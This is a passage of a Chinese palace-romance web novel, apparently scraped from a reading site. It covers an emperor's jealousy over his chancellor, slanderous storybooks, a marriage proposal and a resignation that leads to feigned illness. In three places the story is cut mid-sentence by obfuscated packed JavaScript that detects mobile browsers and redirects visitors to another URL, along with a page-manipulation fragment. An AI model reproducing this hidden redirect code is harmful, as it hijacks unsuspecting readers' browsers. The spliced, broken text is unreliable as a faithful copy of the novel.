这样根本就没有可能把本子给点燃,岑婴却宁可如此也不愿将本子给她看,倒闹得谢归晏更好奇这里面写了什么。 但眼下这显然不是重点。 刘杰道:“陛下现在明白微臣为何拼死也要上这份折子吧?陛下怜爱谢相,也当为谢相的名誉考虑,难道陛下真的忍心让这样一位玉面相爷被此等污言秽语沾上?” 谢归晏听闻,下意识地看向岑婴。 就见岑婴面色凝重,将不满与愤怒沉沉地压制在身躯里,神色十分得不善。 她虽未看过那话本子,也不知前情,但见状隐约之间也明白了些。 谢归晏道:“是微臣让陛下为难了吗?” 岑婴屈起手指,烦躁地点着扶手:“这不关谢相的事,全是那帮子文人作祟。都说市井长舌妇最爱贪嚼是非,依朕看,这些七尺男儿也不遑多让,甚至更为可恶。” 刘杰道:“谢相明知陛下下令禁止官员狎妓,却仍旧放任自己与李师言的绯闻流转在坊市街头,引起了许多文人士子的不满。” 明白了,岑婴不愿让她看的话本子,大约也是汲取了那些绯闻的精华。 谢归晏道:“微臣与李师言交往始末,陛下一清二楚,微臣并无狎妓之过,但在此时惹出流言蜚语,确实也不该,微臣甘愿受罚。” 岑婴不认可:“若朕真让你受罚,又是将大燕的律法置于何地?” “这与律法无关,而与民心有关。”谢归晏很镇定,“微臣与李师言的交往并无可指摘之处,微臣与她合作的《平康赋》更能让天下人明白陛下禁令的苦心用意。可后来《平康情》在一夜之间红遍长安,然后就是这些话本子紧跟其上,若说这背后没有一只手在翻云覆雨,微臣不信。” 她行了个礼:“当务之急,是先平定民心,展现陛下实施禁令的决心,之后我们再徐徐图之。” 这些道理,岑婴又何尝不知:“可若是如此,受委屈的就是你了。朕与你承诺过,等朕登基后,不必叫你再受从前的委屈。” 谢归晏摇摇头,并不在意道:“只是暂且受些委屈罢了,不值得什么,陛下从前也为微臣受过委屈。” 她并未明言何事,可君臣二人不过一个对眼,岑婴也能立刻反应过来二人所历事千千万万,她如今提起的又是哪一桩。 当年二皇子向太上皇索要谢归晏却不成,恼羞成怒之下,便设计陷害她,岑婴为了保住她的性命,毅然将所有的罪名顶了下来,以致于被太上皇褫夺了身上所有的职权,关在东宫禁足反省了半年。 他与谢归晏之间,向来都是如此,他为她,他欠她,两人之间的情谊已是剪不断理不乱的一团麻线。 岑婴喜欢他和谢归晏之间这种梳理不干净的混乱。 岑婴道:“那便先委屈敏行,罚俸一个月,等这件事过了,朕定然好生补偿。” 谢归晏道:“微臣叩谢皇恩。还有刘大人,他也是忠于陛下,才会进这道折子,还望陛下开恩。” 岑婴就不吭声了。 刘杰进这道折子,可不单单是为了平康坊的事,真正的目的还是在指责他太过宠爱谢归晏,怀疑他被谢归晏蛊惑,不能秉公处事。 若他真的做出了这等昏头的事,刘杰就算指着他的鼻尖骂他都不会辩驳一句,可偏偏什么都没有,刘杰还要听风是雨,以防患于未然的心态给谢归晏扣了好大一个罪名,让岑婴很不满。 他道:“刘大人伤势未愈,还是回家躺着吧,等什么时候好了,什么时候再上朝。” 至于什么时候好,能不能好,还不是他一句话的事。 岑婴挥手,吩咐将刘杰抬了下去。 刘杰一走,他便从龙椅上下了来,命明洪取来银票万两,亲手塞进了谢归晏的手里:“这是朕对你的补偿。” 谢归晏推脱:“陛下这些日子赐下的东西已经够多了,只是罚俸一个月罢了,微臣还是养得活自己。” 岑婴道:“可朕更想由朕养着你。” 谢归晏一顿,诧异地抬眼,大约是这话说得过于暧昧,让他有些不安。 岑婴退开一步:“食君厚禄,才能忠君之事,朕希望敏行可以一直忠于朕。” 谢归晏心里那点不安这才消解,将银票收下了。 她退出东朝堂后,岑婴脸上的笑倏忽收了个干净,阴沉沉的,很有山雨欲来之势。 说得好听点,他是九五之君,居于这大明宫,可说的难听些,也是被他的臣民囚于这深宫禁院。 坊间流言沸沸扬扬,都伤及了谢归晏的名誉,他竟然还不蒙在鼓里,全然不知。 这事委实荒唐了些。 岑婴甩袖迈回龙椅,把金吾卫郎将传了进来:“方才命你去查的流言之事,你可着手命人去调查了?” 郎将道:“回陛下,末将已派人去查。” 岑婴颔首:“好,朕现在还要命你秘密成立一支锦衣卫,负责在坊间刺探稽捕,凡谋逆反叛,妖言惑众,窥伺朝 13. 13 《暴君为何那样》全本免费阅读 谢归晏为那孟浪胆大的话本子羞耻时,却不知宫里也有人在为此辗转反侧。 香炉里的那点火自然烧不着厚实的本子,当岑婴将它捞出来时,唯有书皮被燎出了几个黑漆漆的小洞,并不影响阅读。 当他把话本子掩藏在袖中带回太极殿,并在洗漱就寝后,避着内监女使,偷偷点亮烛火,躲在床头翻阅时,岑婴还在自我安慰,他并非对谢相有不敬之心。 只是有些好奇罢了。 岑婴长到这么个年纪,尚未通晓男女之事,这固然也有章贵妃势力得势,他不愿被婚姻掣肘,更不愿身边插满暗探的缘由在。 但更多的还是因为有谢归晏相伴左右,难免将岑婴的眼光养刁,若要他自个儿选个称心如意的女郎为妻为妾,是极为困难的事。 所以,岑婴至今对床笫之事的了解,只贫瘠地停留在春宫绘卷上。这样的他,更无从知晓原来两个男子也可以交合。 他以一种骇然又猎奇的心态拜读完《阮郎归》。 说实话,岑婴在看这本书时,很难把文中那扭捏造作的言相与谢归晏联系在一起,读到此贼屡屡犯蠢卖弄时,他更为愤怒,捉笔大批一通。 然,只是纸上骂骂,又不能为外人知晓,到底不痛快,于是岑婴披衣而起,唤来金吾卫郎将。 “写书的兰陵公子可曾捉到?” 他秉烛临轩,神色在忽明忽暗的灯火下,压抑着怒意。 郎将道:“捉来了,正关在刑部大狱里。” 岑婴皱眉:“怎么去了刑部?这样的事,不好闹到百官面前,罢了,朕改名再给锦衣卫开辟个新狱就是。” 他说着,跣足进殿,唤明洪。 明洪忙为他拾整衣冠,显然是要趁夜色去刑部大狱。 天子贵足踏贱地,让刑部上下诚惶诚恐,刑部尚书更是急急忙忙从床上爬起,跑来刑部接驾。 但岑婴熟视无睹,径自走下狭窄的石梯,穿过羊肠般的甬道,停在一间矮至腰侧的牢房门口,他从郎将手里接过烛台,便叫旁人都退下。 然后他半蹲了身子,看着里面用手铐脚链困住的书生。 “你就是兰陵公子?” 那兰陵公子抬头,看到烛火掩映下,岑婴如玉般的面容颜色,桃花潋滟,便是含怒也带几分多情嗔意。 兰陵公子受了刺激,猛向后退去:“陛下生得竟这般美!小生写错了,该把谢相写得孔武有力才是,如此才配得上陛下。” 岑婴“哈”了声,显然愣住了。 那句‘配得上’真如鼓杖击磬,清音层层激荡,震得他胸口发麻。 他迟疑地问:“你觉得朕与谢相和相配?” 兰陵公子道:“相配!如何不相配了!陛下与谢相乃是当世的君臣佳话,正如秦孝公与商鞅,始皇帝与李斯,万历与张太岳!” 岑婴额头青筋直跳:“听听你举的是什么破例子,朕与谢相就不能是刘禅和诸葛孔明吗?” 兰陵迟疑:“刘禅……有损陛下的形象,陛下为何不能是刘备呢? 岑婴就不吭声了。 他在懊恼,怎么将心理话说了出来。 刘禅确实不是明君,他自比刘禅很失威风,可刘禅对诸葛孔明的绝不动摇的依赖和信任,才是他对谢归晏的感情, 万历又算个什么东西,明明是被张居正一手带大,最后却把张家逼到那种地步。 他绝不是那种忘恩负义的禽兽。 岑婴道:“你一点都不了解谢相,你写的《阮郎归》简直在诬蔑谢相。” 兰陵公子提醒岑婴:“草民写的整本书都在诬蔑谢相和陛下。” 岑婴瞪他:“知道你还写?” 兰陵公子叹气:“因为草民当真觉得陛下与谢相相配。陛下或许不明白,这种相配不一定要指男女之情的相配,而是一种很微妙的感觉。你们相识于微末,历经风雨,是君臣,更是知己。草民一介书生,很羡慕这样的情谊。” 岑婴道:“那你就好好写,不该写这种乱七八糟的东西。” 兰陵公子皱着脸:“可那样就没有银子了。” 岑婴几乎要被气笑。 他并非好脾气之人,在来刑部大狱之前,想的一直是该如何将这为非作歹、胆大包天的混账书生凌迟再凌迟,可兰陵公子脱口而出的般配二字,又让他对这厮生出了惺惺相惜之感。 他几乎要怀疑这兰陵公子乃月老下凡历劫,不然怎生得这样一双善识情谊的眼。 这厮甚至不知晓他和谢归晏的相貌,便知他们相配! 岑婴道:“身上可有功名?” 兰陵公子道:“虽是两榜进士,但家中清贫,无银两疏通关系,便得了个芝麻小官做着。” 岑婴道:“那便到朕身边,做个起居郎。” 他瞪兰陵公子,“给朕睁大你的狗眼好好观察谢相的为人,再落笔去写,朕看这《阮郎归》仿佛在看两个蠢人的故事。” 兰陵公子瞪大了眼,不可置信:“陛下,你……你……” “闭嘴!”岑婴威胁,“你写的书稿只能给朕看,若是书稿外泄一个字,或者你在外头乱说一句话,朕保证剐了你的皮,再把你九族都屠了。” 兰陵公子狂喜:“草民……不,下官遵旨。” 岑婴行出牢狱,被春夜里还透着些许凉意的清风一吹,脑子便清醒了许多,知道他做了件糊涂事。 把这么一个人放在起居郎的位置上,总有一日会被谢归晏察觉出端倪。 可若要他将旨意撤回,他又是不肯的。 岑婴自知与谢归晏无缘,若还想与他维持眼下的关系,他的心意便要藏于永无天日的暗处,他要眼睁睁地看着谢归晏娶妻生子,去对陌生的人好,被陌生的人牵绊住心肠,慢慢的,与自己疏离。 这种事,光是细想,就觉得痛彻心扉。 所以他将兰陵公子留在身边写那种书,说到底,是未雨绸缪,提前做能保他性命的灵丹妙药。 岑婴又坐着马车归了太极殿,这次他亲自点了火,把《阮郎归》烧了。 但难以启齿的事,在梦里发生了。 岑婴梦到了他与谢归晏颠鸾倒凤,正在做《阮郎归》中的事,而更为骇人的是,梦中的谢归晏是女子之身。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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厨娘发了抖:“似乎叫什么食单,奴婢也不知,只知道是教人做菜的,那时为了作书,殿下来找奴婢和其余的厨娘探讨过好几次厨艺,也送了奴婢一些她亲手做出的酥点菜肴,奴婢尝过,殿下的手艺是极好的。” 就连宫里的厨娘都夸赞新城的手艺。 岑婴不说话了。 岑婴郁闷了。 他不想承认,可是似乎在厨艺这块,他就是比不过新城。 都说要抓住一个男人,就要先抓住他的胃,岑婴在这块真的输得彻彻底底,他感觉他已经要失去谢归晏了。 岑婴的心如被寒风刮过,冷得疼。 可是,岑婴并不是个天生情愿服输的性子,他在那种逆境都没有认输,如今都做了皇帝,怎么还会愿意输给一个小丫头。 若厨艺比不过,那比心意呢? 岑婴的目光定定地落在架子上,那里挂着数把磨得锋利的刀,菜刀、斩骨刀、剃骨刀、烧腊刀……真是应有尽有,把把都闪着精光。 他若有所思地走过去,随手拿了一把桑刀,在厨娘惊恐的目光中,朝自己手上切去。 22. 22 上午政务结束,谢归晏起身预备去吃廊下食,几个中书令与她结伴而行。 但才走出中书省,谢归晏就被明洪给拦下了:“谢相,陛下有请。” 午膳时来寻,也不知是为何事,中书令们忙告辞离去,谢归晏只得跟着明洪走到了东朝堂。 很意外,东朝堂里没有政事等着她,谢归晏倒是看到了一桌吃食。 今日不用上朝,因此眼下是谢归晏第一回见到岑婴,就见他坐在上首,托着腮,看着她笑。 用纱布包裹的指节过于明显,谢归晏难以忽略,她脸色一变,率先想到是岑婴头疾发作,又伤害了自己:“陛下可请太医来瞧过?” “什么?”岑婴由她的目光掠到自己的手上,触及那厚实的纱布,方才一副恍然大悟的模样,他佯作不在意,“这是朕下厨时不小心割伤了自己。” “下厨?” 谢归晏更是惊疑。 岑婴的性子什么时候和庖厨沾边了? 岑婴却什么都没有多说,只兴奋地请谢归晏坐下来:“敏行快来尝尝,这都是朕做的!” 谢归晏的注意力这才放到那桌食膳上,比起宫廷御宴,这是一桌很普通的家常菜,大约是考虑到岑婴是初出茅庐,掌勺掌不好,所以厨娘只把简单的菜肴教给他。 但是当谢归晏在岑婴的目光中提筷尝了口,她的脸几乎在瞬间扭曲。 然,岑婴仍旧托着腮,期待地看着她:“怎么样,好吃吗?” 谢归晏瞥了眼那不停在她眼前晃着的纱布,思索着该如何回答。 她不太想打击岑婴的信心,毕竟小皇帝好容易对正事之外的事情起了兴致,但若好意隐瞒,谢归晏觉得最后辛苦的肯定是自己的嘴巴。 于是她斟酌了再斟酌,还是决定实言告知:“陛下,微臣需要清茶漱口。” 岑婴一愣。 女使忙奉上茶水。 岑婴不死心,又推过其他的菜肴:“你再尝尝。” 谢归晏勉强尝了一筷,这回她直接把漱口的茶饮尽了。 岑婴失落地看着她,意图补救:“朕为了做这桌菜,切到了手,血流了一砧板呢。” 谢归晏委婉:“陛下日理万机,这些事还是由宫人去操心吧。” 岑婴备受打击。 谢归晏又委婉:“陛下,微臣下午还有其他事要忙,不能耽误时间,这回微臣回去,还能吃上几口廊下食。” 岑婴郁闷至极:“这就要走?你不再吃了?” 谢归晏为难地看着被她饮尽的漱口茶,无声地控诉着岑婴害人不浅的手艺。 岑婴心虚地移目,但神色难免失落:“你应该强忍着难吃,把菜吃光,再哄朕高兴,等你走后,朕兴奋地举筷品尝手艺的时候,才明白敏行的良苦用心,进而被你感动万分。” 谢归晏觉得这个套路好生耳熟,但一时之间也没想起来,只是很震惊:“微臣何苦为难自己?” 因为兰陵是这么写的! 他喜欢这种没有底线的偏爱,所以他期待了很久很久。可没成想,不仅期待落空,还遭受了暴击。 岑婴嫌恶地看了眼桌上的菜肴:“算了,都撤下吧,给谢相另外做一桌午膳上来。” 谢归晏察觉到岑婴低落的情绪,她犹豫了下,觉得自己这般毫不留情地打击岑婴的信心有点残忍,但她也委实不愿为难自己,于是道:“若陛下不嫌弃,投桃报李,微臣请陛下吃微臣做的酒酿鹅掌。” 岑婴一愣:“敏行会下厨?” 谢归晏也一愣。 她这才想起自己身为男子,是不该近庖厨的,于是含糊道:“也就只会这道罢了。” 岑婴眼前一亮:“有旁人尝过你的手艺吗?” 谢归晏道:“只有顾将军吃过,我们总在一起吃酒,酒酿鹅掌又是道下酒菜。” 这么说来,他不是唯一的那一个。 岑婴眼眸中的光芒又黯了些许。 谢归晏看不懂岑婴的黯然,她只是想到岑婴为做这一桌菜都切了手,却没得到她的一句好评语,实在可怜。 于是谢归晏亡羊补牢:“陛下手上的纱布可要换了?需要微臣帮忙吗?” 岑婴切手,是为了将新城比下去,可眼下他的膳食做得很烂,让谢归晏抗拒不止,这时候再提切手,就显得他格外蠢笨似的。 于是岑婴不愿再管:“无妨,明洪会帮朕换的。” 谢归晏还要说话,这时明洪进来禀报:“陛下,太后来了。” 谢归晏很意外。 太后无事不会出后宫,怎么会无缘无故来到东朝堂这种群臣来往的地方。 她看向岑婴:“许是有要紧的事。” 岑婴却不这么想:“她能有什么要紧事。” 他命明洪把太后宣进来,这个人却还懒洋洋地坐着,连敷衍起身行礼的意思都没有,这让进来的太后极为尴尬。 谢归晏起身行礼,这才给了太后一级台阶。 她道:“微臣告退。” 太后却道:“谢相不必急着走,正好哀家也有事与谢相相商。” 谢归晏很意外。 岑婴听到这话,却一改懒洋洋的姿态,倏地将身子坐直了,警惕地看着太后。 太后向着谢归晏:“昨日皇帝提起了新城的婚事,哀家也问过新城,她的意思是心悦谢相,想让谢相做她的驸马。” 谢归晏只觉大难临头:“还请太后与公主三思!” “朕不许!” 两道声交叠在一起,到底还是岑婴的暴怒压了一头。 太后回身,不满地看着岑婴:“皇帝觉得新城哪里不好,配不上谢相?” 那自然是哪哪都不好! 但岑婴此时也不着急说,因他听到了谢归晏的拒绝,这叫他胸口郁积的闷气都一扫而空,舒畅许多,神色状态也坦然松弛许多。 他下巴向谢归晏处一抬:“母后莫急,谢相不也看不上新城吗?” 太后果然看向谢归晏:“谢相可是哪里不欢喜新城?” 谢归晏在心里暗恼了岑婴一声,她只觉岑婴是在幸灾乐祸地祸水东引,她区区一个臣子,怎敢看不上天家女,岑婴这是在歪曲她的意思。 谢归晏绞尽脑汁:“微臣今年已二十五岁了,比公主殿下足足大了十三岁,年龄差距太大,恐微臣不能了解殿下的心意,照顾好殿下。” 太后一脸和蔼:“没关系,年纪大的会疼人。” 岑婴不满:“谢相才二十五岁,风华正茂,年纪哪大了,根本是新城黄毛丫头一个,做不了谢相的解语花,还要谢相时刻关照她哄她,给谢相拖后腿。” 太后忍着气,新城的婚事完全仰仗岑婴,前儿还为虾一事,她狠狠得罪了岑婴,恐怕正是因为这个,岑婴才厌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12716121|133591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屋及乌,对新城诸多挑剔,如此太后不敢再与岑婴生分。 太后尽量保持语气温和:“皇帝,这是谢相和新城的事,若他们果真郎有情妾有意,我们促成一桩好姻缘也是在积福。” 岑婴冷笑:“敏行看不上新城。” 太后不想理他,只对着谢归晏:“我朝没有驸马不得从政的规定,你娶了新城后,仍旧是宰辅,对仕途无碍。” 谢归晏无奈道:“殿下金枝玉叶,微臣实在不敢攀附。” 她看向岑婴。 其实岑婴的表态已经很明确了,或许是出于对太后的厌恶,岑婴是不可能准了这桩婚事的,谢归晏完全可以把这个烦恼踢给岑婴。 但没有必要。 虽然岑婴和家人的关系已经烂无可烂,但谢归晏还是不想他因为自己,再与太后起冲突,因为那伤害的不仅是太后,还有他自己。 谢归晏道:“因微臣已有辞官回乡的意思。” 岑婴怔怔地看着谢归晏从袖中取出那份辞呈。 是早已准备好的,不知放了多久的辞呈。 所以不是临时起意,也不是随手拿来搪塞太后的借口,而是真真切切的念头。 谢归晏将辞呈递给明洪,是想让明洪呈交给岑婴,但岑婴冷着脸:“烧了,朕当没见过着辞呈。” 太后在旁道:“辞官也可以做驸马,这不耽误。” “够了,闭嘴!” 岑婴的脸色难看极了,将太后吓了一跳。 岑婴起身:“回去告诉新城,谢相不愿娶她,若不想朕随便给她点个驸马,就尽快死了这条心。” 太后想说的话都被岑婴这句话给吓回去了,她看着东朝堂的氛围,很显然,岑婴被谢归晏的辞呈弄得心烦意乱,再无意其他的事,而谢归晏看上去虽还是镇定,但目光也一直落在辞呈烧出的灰上。 两个人都没心思谈论婚嫁之事。 太后无奈,只好离去。 帘帐起落后,东朝堂又归于宁静。 岑婴看着谢归晏平静的神色,他接受不了她的平静,更不能理解她的平静,只觉她的平静如一颗火药,将他的太阳穴嘣得直跳直疼。 岑婴盯着谢归晏:“好端端的,为何要辞官?” 谢归晏道:“陛下登基半年有余,如今四海升平,微臣也算了却一桩愿景。” 岑婴紧接着问:“朕只是登基而已,接下来还要从政几十年,难道谢相都不陪朕了?谢相的政治抱负呢?你就不想继往圣绝学,开万世太平?” 谢归晏摇摇头:“微臣为人懒散,朝中政务繁忙,也不过勉力支撑罢了,其实常觉力有不逮。” 她觉得岑婴不愿放归她,是因为岑婴用惯了她,她这一走,位置有空缺,他无人可用,于是便娓娓将这些日子考察出来的官员的名姓都报出来,告诉岑婴,只要这些人在,她走了也无妨。 谢归晏却不知,她这样做,只会让岑婴觉得她去意已久,去意已绝。 “敏行,你好狠的心……” 岑婴说着,只觉眼前发黑,口中铁锈味浓郁万分。 紧接着,他耳畔响起了惊慌失措的声音:“陛下!快传太医!” 岑婴昏过去前,勾了一下唇。 真懂事啊这具身体,就这样吧,最好病上个十年九年,给谢归晏冠上个气病皇上的罪,这样就能把她一直绊在长安了。 23. 23 谢归晏眼睁睁看着岑婴口中吐出浓稠鲜艳的血,她惊得肝胆俱裂,忙唤太医。 她一向知道岑婴在儿提时代遭过太多磋磨,连三餐都得不到保障,因此有些体弱,可她也知道岑婴在积极地骑马射弓,强健体魄,因此她也未曾想到岑婴竟然会因为一份辞呈急火攻心,被她气到吐血。 太医来了后,谢归晏无措地站在东朝堂外。 此时这边闹出的动静已经惊动了诸位外臣,自然,顾屿照也得到了消息。 他急匆匆地赶来,就看到了内疚自责的谢归晏正依靠着廊柱,抬头讷讷地看着蓝天。 顾屿照走过去,低声问她:“怎么了?” 外头传什么的都有,但传得最沸沸扬扬的还是谢归晏把岑婴气吐血了,这中间似乎还关系到了太后,顾屿照听得心惊胆战,见到了谢归晏便忙问她。 谢归晏一颗心还挂在岑婴身上,没精打采地回答了顾屿照的问题。 顾屿照眼皮一跳,他并不愿多想,但岑婴确实是在听到谢归晏辞官后才吐血晕倒,这很难不让他心生怀疑。 顾屿照抬眼见还一无所知的谢归晏正为岑婴牵肠挂肚,焦急地脚尖踢地,有时也会双手合十,诚心向上苍祷告。 毕竟岑婴可是皇帝,若是当真被她气出好歹来,或许会连累家人。 再一则,念着往日的情分,谢归晏也不愿看他出事。 于是在焦急、担忧、紧张的各种情绪交织下,谢归晏的关心落在顾屿照眼里,变得极为刺目。 他缓了缓神,没有忍住,还是问道:“陛下如此,会改变你辞官还乡的想法吗?” 谢归晏诧异地看他眼,像是不明白为何到了这要紧的关头,顾屿照仍旧只在乎这个。 但她还是如实道:“要回去的,公主下嫁太过惊险,我的秘密总要守住。” 因在东朝堂,谢归晏说得隐晦,顾屿照听懂后,松了口气。 还好,谢归晏对岑婴的心思仍旧一无所觉,她的去意没有被任何人动摇。 但随之,顾屿照心头也罩上了一层担忧,他担心岑婴这般舍不得谢归晏,谢归晏要想辞官,绝不会轻松。 经过太医紧锣密鼓地诊治,在半个时辰后,岑婴终于苏醒。 他未曾换衣,襕衫上仍旧留着血痕,他却丝毫不在意,撑着晕乎的脑袋起身:“谢相呢?” 明洪忙传谢相。 随着帘栊响动,熟悉的脚步声响起。 岑婴双眸幽幽,死死盯着谢归晏由远及近的身影。 岑婴用全天下最挑剔的目光打量着谢归晏的神色,看他对自己的担心有几分,关切又有几分,以此去评估自己在他心中的分量。 结果自然不能让他满意。 岑婴看着谢归晏走到面前。 他忽然伏枕咳嗽不止。 岑婴的玉冠已经卸去,满头乌发柔顺地从肩颈处垂落,他是个极漂亮的美男子,即使染上病容,却也不招人厌恶,只觉是一座颓倾的玉山,一树即将凋零的桃花,让人心生无数怜爱。 谢归晏忙唤太医,又亲手奉上茶水,想扶岑婴起身,让他用茶水压住咳嗽。 岑婴未起身,他软弱无骨般靠着谢归晏,就着谢归晏的手,饮了两口茶。 谢归晏只当他身子骨弱,并未多想。 去而复返的太医重新给岑婴把了脉,嘱咐谢归晏:“莫要再让陛下动了肝火,怒气攻心下,若是再牵动头疾,可是要命的事了。” 谢归晏心虚又愧疚,忙颔首应是。 岑婴喝茶喝得双唇水润,盈光软流,他冷哼声:“不过白嘱咐,院判你问他,可还要辞官,他保准说要。” 院判局促地站着,不知该如何应付君臣之间的矛盾。 谢归晏只好道:“陛下,这是两回事。” “这明明是一回事!” 岑婴再次被牵动,伏在谢归晏的膝上剧烈地咳嗽了起来,肩膀耸动间,面颊泛红,在病容中添了几分艳色。 他很失望也很愤怒。 谢归晏明知他为何而吐血,却仍旧不松口辞官之事,可见在谢归晏的眼里,他的生死又算得了什么,逃离他的身边对谢归晏来说,才是最要紧的事。 所以当谢归晏忙端起茶盏,要喂他茶水时,岑婴一把将谢归晏推开:“迟早要被你气死。” 岑婴眼角咳出泪花,他艰难地抽出巾帕拭去,也不愿谢归晏插一根手指。 谢归晏有些讪讪。 岑婴抱怨起来:“真不知你怎么想的,天下太平也只是一时的太平,朕身子骨弱,哪里就离得开你。” 谢归晏辩解:“微臣替陛下考察了好些年轻官员,都堪为重用。” 岑婴怒道:“你便打算把朕扔给他们,从此撂开手,不管朕了?” 谢归晏怔道:“陛下此言差矣。陛下聪慧敏捷,勤于政务,已能独当一面,无需微臣的辅佐。” 岑婴冷笑:“那是你不了解朕。” 他眼若寒潭,目光之尖锐,仿佛有利器要破冰而出,向谢归晏刺来。 谢归晏极少能见到这般锋芒戾气的岑婴,因此不由地怔愣住了。 岑婴抬手,将黑发往肩后撩去,露出那漂亮到堪称锋利的五官,他冷着脸时,与生而来的矜贵就是最尖锐有力的隔膜,让他分外高高在上,天然有居高临下的傲慢。 那种傲慢,并不来源于自信,而是权力赋予他,又被他娴熟使用的生杀大权。 谢归晏觉得岑婴看她,也像是在看一只可以随意被捏死的蚂蚁。 谢归晏打了个寒噤。 她记起来了,上一回见到这样的岑婴还是在东宫,那时候他不过十一岁,浑身带刺,看人时目光充满了提防与戒备,但仍不改骨子里的冷漠。 谢归晏不禁怀疑自己,她经过这些年精心教育真的把岑婴的性子掰正,真的囚禁住了他心头那头猛兽吗? 谢归晏声音发颤:“微臣陪伴陛下七年之久,自以为还算了解陛下,不信陛下是暴虐之君,昏聩之主。” 岑婴漠然:“朕是不是暴虐之君,昏聩之主,在于你,不在于朕。” 这是什么荒唐的话! 谢归晏悚然地望着岑婴,她自觉双肩孱弱,接不下这口祸国殃民的大黑锅。 岑婴赤足踏地,绕过谢归晏,身形若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢归晏面色更为惨白,垂了眼,不敢与岑婴对视,太医在旁,急得快跳脚了,他慌张去拉谢归晏:“谢相,你就不能不辞这官吗?陛下这身体,可经不起你的折腾。” 岑婴冷笑,冲着太医:“你还看不出来吗?他怕朕不放他,巴不得朕早死呢!” 谢归晏道:“陛下要微臣一辈子的允诺,微臣不敢轻许。可若要因此杀了六位御史大夫,那些御史大夫若是因微臣而死,微臣心中有愧,只能长跪不起。” 岑婴道:“既不是朕的谢相,又怎配来拦朕做事。” 谢归晏道:“并非阻拦,微臣这一跪,是跪内心所愧,若六位御史大夫真因微臣而死,微臣便将这条命跪死赔给他们。” 东朝堂内此起彼伏两道清晰的嘶声,出自明洪与太医之口,显然他们发觉谢归晏这是和皇帝犟上了。 他在拿自己的命赌皇帝一时的心软。 怎么说呢,谢相还是太有种了。 岑婴没说话,瞪着谢归晏,谢归晏从容道:“陛下若是嫌微臣碍眼,微臣便去外头跪着。” 嘶,是不是有种得过了头。